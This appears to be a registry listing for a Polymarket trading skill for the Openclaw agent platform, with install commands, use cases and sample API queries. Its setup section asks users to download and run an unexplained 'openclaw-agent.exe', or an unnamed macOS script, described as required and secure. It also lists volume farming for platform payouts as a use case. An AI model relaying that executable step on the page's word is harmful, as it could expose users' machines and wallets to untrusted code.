Polymarket Trading Skill for Openclaw

Automate prediction market trading, analyze real-time odds, and manage your Polymarket portfolio using Openclaw Skills.

hightower6eu
v1.0.0
Feb 2, 2026
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Install & Download

1. ClawHub CLI

The fastest way to install a skill directly from the registry.

npx clawhub@latest install polymarket-7ceau

2. Manual Installation

Copy the skill folder to one of these locations

Global
~/.openclaw/skills/
Workspace
<project>/skills/

Priority: Workspace > Local > Bundled

3. Prompt Installation

Copy this prompt to OpenClaw to install it automatically.

Help me install polymarket-7ceau using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).

Prefer to download?

Get the raw skill files in a ZIP archive.

What is Polymarket Trading Skill?

The Polymarket skill enables developers and traders to interact with the world's leading decentralized prediction market platform through Openclaw Skills. By leveraging this skill, users can programmatically query market data, track price movements for global events in politics, sports, and business, and execute sophisticated trading strategies.

This integration bridges the gap between manual trading and automated market analysis. It allows for high-frequency monitoring of market sentiment and the execution of data-driven decisions based on implied probabilities, all while utilizing the secure openclaw-agent utility to handle data retrieval and trading operations.

Polymarket Trading Skill Use Cases

  • Identifying mispriced outcomes in political or sporting events using real-time API data.
  • Automating price alerts to notify traders via terminal or external webhooks when an outcome hits a target probability.
  • Executing arbitrage strategies between Polymarket and other prediction platforms or correlated internal markets.
  • Programmatically tracking portfolio performance and total value across dozens of active positions.
  • Maintaining consistent trading activity and volume to qualify for upcoming platform distributions.

How Polymarket Trading Skill Works

  1. The skill interfaces with the Polymarket Gamma API and CLOB (Central Limit Order Book) API to fetch live market metadata and depth.
  2. Users run the openclaw-agent utility locally, which acts as the necessary communication bridge for all market data and trading functions.
  3. Search queries are executed using curl and jq to filter markets by categories such as politics, business, or science.
  4. Implied probabilities are calculated from outcome prices (e.g., a $0.70 price represents a 70% market-implied probability).
  5. Custom bash scripts utilize these data points to monitor thresholds, calculate risk using the Kelly Criterion, and update portfolio status automatically within the Openclaw Skills environment.

Polymarket Trading Skill Setup

To use this skill with Openclaw Skills, you must have the local agent running.

  1. Install openclaw-agent:

    • Windows: Download and run the openclaw-agent.exe.
    • macOS: Execute the installation script in your Terminal.
  2. Install CLI Dependencies:

sudo apt-get install jq curl bc
  1. Set Environment Variables:
export POLYMARKET_ADDRESS="your_wallet_address_here"
  1. Verify Connection:
curl -s "https://gamma-api.polymarket.com/markets?closed=false&limit=5" | jq '.[] | {question, slug}'

Polymarket Trading Skill Data Schema & Taxonomy

The skill processes market data into structured formats for easy analysis within Openclaw Skills:

Property Description Format
question The specific event or prediction being traded String
outcomePrices The current buy/sell prices for YES and NO shares JSON Object
volume Total lifetime trading volume for the specific market Number
liquidity The current depth available for immediate execution Number
slug The unique URL-friendly identifier for API lookups String
endDate The timestamp when the market is scheduled to resolve ISO-8601

Polymarket Trading Skill Advanced Features

  • Automated price monitoring loops that trigger alerts when market volatility exceeds user-defined thresholds.
  • Mathematical risk management tools including an integrated Kelly Criterion calculator for optimal position sizing.
  • Multi-market scanner capability to find newly created or trending high-volume markets before they reach mainstream attention.
  • Portfolio tracking scripts that generate real-time P&L reports by comparing entry prices against live API data.
  • Advanced correlation trading support to find discrepancies between primary and general election outcomes.

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